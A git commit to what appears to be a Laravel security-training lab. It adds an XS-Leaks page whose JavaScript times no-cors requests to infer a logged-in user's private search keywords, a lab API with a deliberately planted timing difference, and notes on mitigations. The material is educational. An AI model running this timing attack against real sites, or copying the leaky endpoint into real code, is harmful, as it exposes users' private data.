Add
This commit is contained in:
parent
3e289af76f
commit
27212fd462
158
resources/views/hacker/xsleak.blade.php
Normal file
158
resources/views/hacker/xsleak.blade.php
Normal file
|
|
@ -0,0 +1,158 @@
|
||||||
|
<!DOCTYPE html>
|
||||||
|
<html lang="en">
|
||||||
|
<head>
|
||||||
|
<meta charset="UTF-8">
|
||||||
|
<meta name="viewport" content="width=device-width, initial-scale=1.0">
|
||||||
|
<title>XS-Leaks Timing Attack Lab</title>
|
||||||
|
<script src="https://tailwindcss.eitebar.ir/tailwind-play.js"></script>
|
||||||
|
<style>
|
||||||
|
.terminal-scroll::-webkit-scrollbar {
|
||||||
|
width: 8px;
|
||||||
|
}
|
||||||
|
.terminal-scroll::-webkit-scrollbar-track {
|
||||||
|
background: #111827;
|
||||||
|
}
|
||||||
|
.terminal-scroll::-webkit-scrollbar-thumb {
|
||||||
|
background: #374151;
|
||||||
|
border-radius: 4px;
|
||||||
|
}
|
||||||
|
</style>
|
||||||
|
</head>
|
||||||
|
<body class="bg-gray-950 text-gray-300 font-sans min-h-screen p-8 selection:bg-indigo-500 selection:text-white">
|
||||||
|
|
||||||
|
<div class="max-w-5xl mx-auto">
|
||||||
|
|
||||||
|
<header class="mb-8 border-b border-gray-800 pb-4">
|
||||||
|
<h1 class="text-4xl font-extrabold text-indigo-500">Cross-Site Leaks (XS-Leaks)</h1>
|
||||||
|
<p class="text-gray-400 mt-2 text-lg">Inferring private data via cross-origin execution timing.</p>
|
||||||
|
</header>
|
||||||
|
|
||||||
|
<div class="grid grid-cols-1 lg:grid-cols-3 gap-8">
|
||||||
|
|
||||||
|
<!-- Exploit UI -->
|
||||||
|
<div class="lg:col-span-2">
|
||||||
|
<div class="bg-black rounded-xl border border-gray-800 shadow-2xl overflow-hidden flex flex-col h-[500px]">
|
||||||
|
<div class="bg-gray-900 px-4 py-3 border-b border-gray-800 flex justify-between items-center">
|
||||||
|
<div class="flex items-center space-x-2">
|
||||||
|
<div class="w-3 h-3 rounded-full bg-red-500"></div>
|
||||||
|
<div class="w-3 h-3 rounded-full bg-yellow-500"></div>
|
||||||
|
<div class="w-3 h-3 rounded-full bg-green-500"></div>
|
||||||
|
<span class="ml-2 text-xs font-mono text-gray-500 uppercase tracking-widest">Timing Analysis Module</span>
|
||||||
|
</div>
|
||||||
|
<button id="start-btn" class="bg-indigo-600 hover:bg-indigo-500 text-white text-xs font-bold py-1.5 px-4 rounded shadow transition-colors">
|
||||||
|
Start Inference Attack
|
||||||
|
</button>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<div id="terminal" class="p-5 font-mono text-sm overflow-y-auto terminal-scroll flex-grow">
|
||||||
|
<div class="text-gray-500 mb-4">
|
||||||
|
> Target API: https://webapp.kr-rezvan.ir/api/private-search?q=[WORD]<br>
|
||||||
|
> Note: CORS blocks us from reading the response body.<br>
|
||||||
|
> Technique: Measuring promise settlement time.<br>
|
||||||
|
> Awaiting execution command...
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Developer Notes -->
|
||||||
|
<div class="bg-indigo-900/10 border border-indigo-900/30 rounded-xl p-6">
|
||||||
|
<h3 class="flex items-center text-indigo-400 font-bold text-xl mb-4 border-b border-indigo-800/50 pb-2">
|
||||||
|
<svg class="w-6 h-6 mr-2" fill="none" stroke="currentColor" viewBox="0 0 24 24"><path stroke-linecap="round" stroke-linejoin="round" stroke-width="2" d="M13 16h-1v-4h-1m1-4h.01M21 12a9 9 0 11-18 0 9 9 0 0118 0z"></path></svg>
|
||||||
|
Researcher Notes
|
||||||
|
</h3>
|
||||||
|
|
||||||
|
<div class="text-gray-300 space-y-4 text-sm leading-relaxed">
|
||||||
|
<p>
|
||||||
|
<strong class="text-white">The Vulnerability:</strong> Even when CORS prevents a malicious site from reading an API's JSON response, the <em>browser</em> still executes the network request. If the server takes a different amount of time to process a "Hit" versus a "Miss", the attacker can measure that difference using <code>performance.now()</code>.
|
||||||
|
</p>
|
||||||
|
<p>
|
||||||
|
<strong class="text-white">State Inference:</strong> By systematically querying keywords, an attacker can determine if the logged-in user has access to "project_x" or possesses "confidential" documents, purely based on response latency.
|
||||||
|
</p>
|
||||||
|
<div class="bg-indigo-950/50 p-4 rounded-lg border border-indigo-800/50 mt-4">
|
||||||
|
<strong class="text-indigo-300 block mb-2">🛡️ Mitigations:</strong>
|
||||||
|
<ul class="list-disc list-inside space-y-1 text-gray-400">
|
||||||
|
<li><strong>SameSite Cookies:</strong> Enforcing <code>SameSite=Lax</code> or <code>Strict</code> prevents the browser from sending the user's session cookie during the cross-origin request, making the timing attack measure the <em>unauthenticated</em> state.</li>
|
||||||
|
<li><strong>Constant-Time Algorithms:</strong> Ensure database queries and code paths execute in the exact same duration regardless of the outcome (often very difficult in complex apps).</li>
|
||||||
|
</ul>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- Exploit Logic -->
|
||||||
|
<script>
|
||||||
|
const terminal = document.getElementById('terminal');
|
||||||
|
const startBtn = document.getElementById('start-btn');
|
||||||
|
|
||||||
|
// Words we want to check against the victim's private database
|
||||||
|
const targetWords = ['guest', 'confidential', 'public', 'project_x', 'random_word', 'admin_rezvan'];
|
||||||
|
const THRESHOLD_MS = 400; // If response takes > 400ms, assume the DB did work (HIT)
|
||||||
|
|
||||||
|
function log(msg, type = 'info') {
|
||||||
|
const line = document.createElement('div');
|
||||||
|
line.className = 'mb-1';
|
||||||
|
|
||||||
|
let color = 'text-gray-400';
|
||||||
|
if (type === 'hit') color = 'text-red-400 font-bold bg-red-900/20 px-1 rounded inline-block';
|
||||||
|
if (type === 'miss') color = 'text-green-400';
|
||||||
|
if (type === 'system') color = 'text-indigo-400';
|
||||||
|
|
||||||
|
line.innerHTML = `> <span class="${color}">${msg}</span>`;
|
||||||
|
terminal.appendChild(line);
|
||||||
|
terminal.scrollTop = terminal.scrollHeight;
|
||||||
|
}
|
||||||
|
|
||||||
|
async function measureTime(word) {
|
||||||
|
const url = `https://webapp.kr-rezvan.ir/api/private-search?q=${word}`;
|
||||||
|
log(`Fetching: ${word}...`, 'system');
|
||||||
|
|
||||||
|
const start = performance.now();
|
||||||
|
try {
|
||||||
|
// mode: 'no-cors' intentionally creates an opaque response.
|
||||||
|
// We don't care about the body, only the time it takes to settle.
|
||||||
|
await fetch(url, { mode: 'no-cors', cache: 'no-store' });
|
||||||
|
} catch (e) {
|
||||||
|
// Network error, but we still measure time
|
||||||
|
}
|
||||||
|
const end = performance.now();
|
||||||
|
return Math.round(end - start);
|
||||||
|
}
|
||||||
|
|
||||||
|
startBtn.addEventListener('click', async () => {
|
||||||
|
startBtn.disabled = true;
|
||||||
|
startBtn.classList.add('opacity-50', 'cursor-not-allowed');
|
||||||
|
terminal.innerHTML = ''; // Clear
|
||||||
|
log('Initializing XS-Leak Timing Sequence...', 'system');
|
||||||
|
log(`Threshold set to: ${THRESHOLD_MS}ms`, 'system');
|
||||||
|
log('----------------------------------------', 'system');
|
||||||
|
|
||||||
|
for (const word of targetWords) {
|
||||||
|
const duration = await measureTime(word);
|
||||||
|
|
||||||
|
if (duration > THRESHOLD_MS) {
|
||||||
|
log(`[HIT] "${word}" -> ${duration}ms (Data Exists!)`, 'hit');
|
||||||
|
} else {
|
||||||
|
log(`[MISS] "${word}" -> ${duration}ms`, 'miss');
|
||||||
|
}
|
||||||
|
|
||||||
|
// Small delay to make the UI look cool
|
||||||
|
await new Promise(r => setTimeout(r, 300));
|
||||||
|
}
|
||||||
|
|
||||||
|
log('----------------------------------------', 'system');
|
||||||
|
log('Timing Sequence Complete.', 'system');
|
||||||
|
startBtn.disabled = false;
|
||||||
|
startBtn.classList.remove('opacity-50', 'cursor-not-allowed');
|
||||||
|
});
|
||||||
|
</script>
|
||||||
|
|
||||||
|
<!-- Global Back Button -->
|
||||||
|
<a href="http://webapp.kr-rezvan.ir/labs" style="position: fixed; bottom: 20px; right: 20px; background-color: #3b82f6; color: white; padding: 10px 20px; border-radius: 50px; font-family: sans-serif; text-decoration: none; font-weight: bold; box-shadow: 0 4px 6px rgba(0,0,0,0.1); z-index: 9999; transition: all 0.3s;" onmouseover="this.style.backgroundColor='#2563eb'" onmouseout="this.style.backgroundColor='#3b82f6'">
|
||||||
|
🏠 Back to Lab Directory
|
||||||
|
</a>
|
||||||
|
|
||||||
|
</body>
|
||||||
|
</html>
|
||||||
|
|
@ -28,7 +28,7 @@
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
||||||
<!-- CSRF Attack -->
|
<!-- CSR Attack -->
|
||||||
<div class="bg-gray-800 rounded-2xl border border-blue-500/30 shadow-lg hover:shadow-blue-500/20 transition-shadow duration-300">
|
<div class="bg-gray-800 rounded-2xl border border-blue-500/30 shadow-lg hover:shadow-blue-500/20 transition-shadow duration-300">
|
||||||
<div class="p-6">
|
<div class="p-6">
|
||||||
<h2 class="text-2xl font-bold text-blue-400">CSRF Attack</h2>
|
<h2 class="text-2xl font-bold text-blue-400">CSRF Attack</h2>
|
||||||
|
|
@ -132,7 +132,16 @@
|
||||||
<div class="p-6">
|
<div class="p-6">
|
||||||
<h2 class="text-2xl font-bold text-red-400">Autofill Trap</h2>
|
<h2 class="text-2xl font-bold text-red-400">Autofill Trap</h2>
|
||||||
<p class="text-gray-400 mt-2 mb-4 h-16">Demonstrate how a malicious site steals sensitive user data by hiding input fields populated by Autofill.</p>
|
<p class="text-gray-400 mt-2 mb-4 h-16">Demonstrate how a malicious site steals sensitive user data by hiding input fields populated by Autofill.</p>
|
||||||
<a href="https://hackerapp.eitebar.ir/autofill-trap" target="_blank" class="block w-full text-center bg-red-600 hover:bg-red-700 text-white font-bold py-2 px-4 rounded-lg">Launch Lab</a>
|
<a href="http://hackerapp.eitebar.ir/autofill-trap" target="_blank" class="block w-full text-center bg-red-600 hover:bg-red-700 text-white font-bold py-2 px-4 rounded-lg">Launch Lab</a>
|
||||||
|
</div>
|
||||||
|
</div>
|
||||||
|
|
||||||
|
<!-- XS-Leaks -->
|
||||||
|
<div class="bg-gray-800 rounded-2xl border border-red-500/30 shadow-lg hover:shadow-red-500/20 transition-shadow duration-300">
|
||||||
|
<div class="p-6">
|
||||||
|
<h2 class="text-2xl font-bold text-red-400">XS-Leaks</h2>
|
||||||
|
<p class="text-gray-400 mt-2 mb-4 h-16">Infer private cross-origin data by measuring network response times.</p>
|
||||||
|
<a href="http://hackerapp.eitebar.ir/xs-leak" target="_blank" class="block w-full text-center bg-red-600 hover:bg-red-700 text-white font-bold py-2 px-4 rounded-lg">Launch Lab</a>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
</div>
|
</div>
|
||||||
|
|
|
||||||
|
|
@ -83,6 +83,11 @@
|
||||||
Route::get('/autofill-trap', function () {
|
Route::get('/autofill-trap', function () {
|
||||||
return view('hacker.autofill');
|
return view('hacker.autofill');
|
||||||
})->name('hacker.autofill');
|
})->name('hacker.autofill');
|
||||||
|
|
||||||
|
// XS-Leaks Exploit Page
|
||||||
|
Route::get('/xs-leak', function () {
|
||||||
|
return view('hacker.xsleak');
|
||||||
|
})->name('hacker.xsleak');
|
||||||
|
|
||||||
});
|
});
|
||||||
|
|
||||||
|
|
@ -137,6 +142,22 @@
|
||||||
|
|
||||||
// ----- بخشهای محافظت شده با سشن -----
|
// ----- بخشهای محافظت شده با سشن -----
|
||||||
Route::middleware(['web', 'auth'])->group(function () {
|
Route::middleware(['web', 'auth'])->group(function () {
|
||||||
|
|
||||||
|
// XS-Leak Target API
|
||||||
|
Route::get('/api/private-search', function (Illuminate\Http\Request $request) {
|
||||||
|
$query = strtolower($request->query('q', ''));
|
||||||
|
$privateKeywords = ['confidential', 'admin_rezvan', 'project_x'];
|
||||||
|
|
||||||
|
if (in_array($query, $privateKeywords)) {
|
||||||
|
// Keyword exists: Simulate DB fetching taking 600ms
|
||||||
|
usleep(600000);
|
||||||
|
} else {
|
||||||
|
// Keyword missing: Fast return 50ms
|
||||||
|
usleep(50000);
|
||||||
|
}
|
||||||
|
|
||||||
|
return response()->json(['status' => 'search_complete']);
|
||||||
|
})->name('user.api.search');
|
||||||
|
|
||||||
// پروفایل کاربر
|
// پروفایل کاربر
|
||||||
Route::get('/profile', [UserController::class, 'profile'])->name('user.profile');
|
Route::get('/profile', [UserController::class, 'profile'])->name('user.profile');
|
||||||
|
|
@ -155,4 +176,4 @@
|
||||||
// (فضای خالی برای حملات بعدی مثل Phishing، MITB و ...)
|
// (فضای خالی برای حملات بعدی مثل Phishing، MITB و ...)
|
||||||
});
|
});
|
||||||
|
|
||||||
});
|
});
|
||||||
Loading…
Reference in New Issue
Block a user